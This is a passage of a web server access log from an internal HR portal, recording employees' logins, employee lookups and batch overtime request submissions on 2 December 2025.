rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.104 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.135 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.139.16 - - [02/Dec/2025:08:50:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 192.168.11.135 - - [02/Dec/2025:08:50:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [02/Dec/2025:08:50:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.104 - - [02/Dec/2025:08:50:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.43597929466920604 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.43597929466920604 HTTP/1.1" 200 8988 192.168.11.135 - - [02/Dec/2025:08:51:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:51:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [02/Dec/2025:08:51:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [02/Dec/2025:08:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [02/Dec/2025:08:51:25 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:51:25 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.104 - - [02/Dec/2025:08:51:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.43597929466920604 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.43597929466920604" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:51:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.43597929466920604 HTTP/1.1" 200 27500 192.168.11.135 - - [02/Dec/2025:08:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:08:51:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:08:51:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:51:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8013377782439471 HTTP/1.1" 200 24852 192.168.11.104 - - [02/Dec/2025:08:52:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:52:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 192.168.11.104 - - [02/Dec/2025:08:52:12 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:52:12 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.104 - - [02/Dec/2025:08:52:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [02/Dec/2025:08:52:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.135 - - [02/Dec/2025:08:52:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:52:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 192.168.11.135 - - [02/Dec/2025:08:52:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:52:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [02/Dec/2025:08:52:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:52:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:52:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12155534041568083 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:52:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12155534041568083 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:08:52:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12155534041568083 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12155534041568083" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:52:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12155534041568083 HTTP/1.1" 200 11758 192.168.11.135 - - [02/Dec/2025:08:53:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4402 192.168.11.135 - - [02/Dec/2025:08:53:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [02/Dec/2025:08:53:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:53:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [02/Dec/2025:08:53:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [02/Dec/2025:08:53:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:53:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8339858806392525 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8339858806392525 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:08:53:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8339858806392525 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8339858806392525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:53:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8339858806392525 HTTP/1.1" 200 11758 192.168.11.135 - - [02/Dec/2025:08:54:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 192.168.11.135 - - [02/Dec/2025:08:54:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [02/Dec/2025:08:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [02/Dec/2025:08:54:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:54:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [02/Dec/2025:08:54:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [02/Dec/2025:08:54:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:54:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23585591327152655 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:54:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23585591327152655 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:08:55:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23585591327152655 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23585591327152655" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:55:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23585591327152655 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:08:55:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:55:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:55:43 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132674%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132674&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:55:43 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132674%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132674&target=iframe HTTP/1.1" 200 3251 192.168.11.135 - - [02/Dec/2025:08:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [02/Dec/2025:08:55:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25716 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 